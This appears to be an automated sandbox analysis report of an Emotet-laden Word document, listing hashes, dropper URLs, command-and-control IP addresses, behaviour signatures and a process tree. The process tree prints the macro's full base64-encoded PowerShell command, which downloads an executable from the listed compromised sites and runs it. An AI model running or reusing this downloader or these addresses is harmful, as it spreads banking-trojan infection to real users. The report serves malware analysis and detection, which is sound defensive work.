Overview

overview

10

Static

static

8

DOC_RS8771...IU.doc

windows7_x64

10

DOC_RS8771...IU.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    106s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    03/08/2020, 07:22

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General

  • Target
    DOC_RS8771626875IU.doc
  • Size 175KB
  • Sample200803-hwdvxhadcx
  • SHA256 be25a159797aeb8dd13c31aa586f331f8c98cd83b54dd4ba5ec2fff63b5ff246
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://rikotut.net/rikotut4/vka_spx_tlz/
  • exe.dropper

    http://ronnietucker.co.uk/fcm-dl/94_xeb_m7rfe9yj/
  • exe.dropper

    http://rivcon.net/images/ze1_r8_3jdpf63/
  • exe.dropper

    http://rollingturtle.com/music/isef_vmr_p/
  • exe.dropper

    http://ronsonpainting.com/photogallery/7_26kr_ngbv3sha/

Extracted

Family

  • emotet

C2

  • 142.105.151.124:443

  • 62.108.54.22:8080

  • 212.51.142.238:8080

  • 71.208.216.10:80

  • 108.48.41.69:80

  • 83.110.223.58:443

  • 210.165.156.91:80

  • 104.131.44.150:8080

  • 104.236.246.93:8080

  • 5.39.91.110:7080

  • 209.141.54.221:8080

  • 209.182.216.177:443

  • 153.126.210.205:7080

  • 91.211.88.52:7080

  • 180.92.239.110:8080

  • 183.101.175.193:80

  • 162.241.92.219:8080

  • 87.106.139.101:8080

  • 114.146.222.200:80

  • 65.111.120.223:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\DOC_RS8771626875IU.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:836
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABSAE8AVwBWAFQAZQBpAHQAPQAnAE8ARABLAEIATgBmAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAcgBJAHQAeQBwAFIATwBgAFQAbwBDAG8ATAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEkAWgBXAEYAVABjAG4AYQAgAD0AIAAnADEANwA0ACcAOwAkAEUAVQBJAEMARwBwAHQAcAA9ACcAQwBTAEYAWgBHAGMAbwBmACcAOwAkAFYAQwBYAEIATwBoAHEAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQASQBaAFcARgBUAGMAbgBhACsAJwAuAGUAeABlACcAOwAkAFoASQBTAFMAVgB4AGMAdAA9ACcARwBNAFEAWQBTAHkAdgB2ACcAOwAkAFIAUgBWAFQAQQBpAHcAZwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAAbgBFAHQALgB3AGUAQgBjAEwAaQBFAE4AVAA7ACQARgBKAFEAUwBFAHEAYwBwAD0AJwBoAHQAdABwADoALwAvAHIAaQBrAG8AdAB1AHQALgBuAGUAdAAvAHIAaQBrAG8AdAB1AHQANAAvAHYAawBhAF8AcwBwAHgAXwB0AGwAegAvACoAaAB0AHQAcAA6AC8ALwByAG8AbgBuAGkAZQB0AHUAYwBrAGUAcgAuAGMAbwAuAHUAawAvAGYAYwBtAC0AZABsAC8AOQA0AF8AeABlAGIAXwBtADcAcgBmAGUAOQB5AGoALwAqAGgAdAB0AHAAOgAvAC8AcgBpAHYAYwBvAG4ALgBuAGUAdAAvAGkAbQBhAGcAZQBzAC8AegBlADEAXwByADgAXwAzAGoAZABwAGYANgAzAC8AKgBoAHQAdABwADoALwAvAHIAbwBsAGwAaQBuAGcAdAB1AHIAdABsAGUALgBjAG8AbQAvAG0AdQBzAGkAYwAvAGkAcwBlAGYAXwB2AG0AcgBfAHAALwAqAGgAdAB0AHAAOgAvAC8AcgBvAG4AcwBvAG4AcABhAGkAbgB0AGkAbgBnAC4AYwBvAG0ALwBwAGgAbwB0AG8AZwBhAGwAbABlAHIAeQAvADcAXwAyADYAawByAF8AbgBnAGIAdgAzAHMAaABhAC8AJwAuACIAUwBwAGAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABJAE0AUABHAFoAcAByAHEAPQAnAEkARABEAFoAWgBhAGEAYwAnADsAZgBvAHIAZQBhAGMAaAAoACQASQBNAEkATgBHAHQAZgB1ACAAaQBuACAAJABGAEoAUQBTAEUAcQBjAHAAKQB7AHQAcgB5AHsAJABSAFIAVgBUAEEAaQB3AGcALgAiAEQAbwB3AE4AbABgAE8AQQBEAGAARgBpAGwAZQAiACgAJABJAE0ASQBOAEcAdABmAHUALAAgACQAVgBDAFgAQgBPAGgAcQB4ACkAOwAkAFoATABaAEwAQQBuAHoAbgA9ACcAQgBFAEEASABFAGsAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAVgBDAFgAQgBPAGgAcQB4ACkALgAiAGwARQBOAGAARwBgAFQASAAiACAALQBnAGUAIAAzADQANgAzADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGAAQQBgAFQARQAiACgAJABWAEMAWABCAE8AaABxAHgAKQA7ACQAUwBJAEQAQgBFAGcAdABwAD0AJwBIAE0AUABYAFEAYwB2AGoAJwA7AGIAcgBlAGEAawA7ACQAVwBNAEMASABNAG0AcABtAD0AJwBCAFoAUwBTAFQAaABrAGoAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwBLAFUARQBHAHgAbABmAD0AJwBMAEcASwBFAEkAYgBqAGoAJwA=
    1⤵
    • Drops file in System32 directory
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:368
  • C:\Users\Admin\174.exe
    C:\Users\Admin\174.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:1224
    • C:\Windows\SysWOW64\sdbinst\dmdskres.exe
      "C:\Windows\SysWOW64\sdbinst\dmdskres.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1848

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/836-2-0x0000000008AB0000-0x0000000008AB4000-memory.dmp
        Download

        memory/836-5-0x000000000AF10000-0x000000000AF14000-memory.dmp
        Download

        memory/836-6-0x000000000BF90000-0x000000000BF94000-memory.dmp
        Download

        memory/1224-10-0x0000000000270000-0x000000000027C000-memory.dmp
        Download

        memory/1848-13-0x00000000002E0000-0x00000000002EC000-memory.dmp
        Download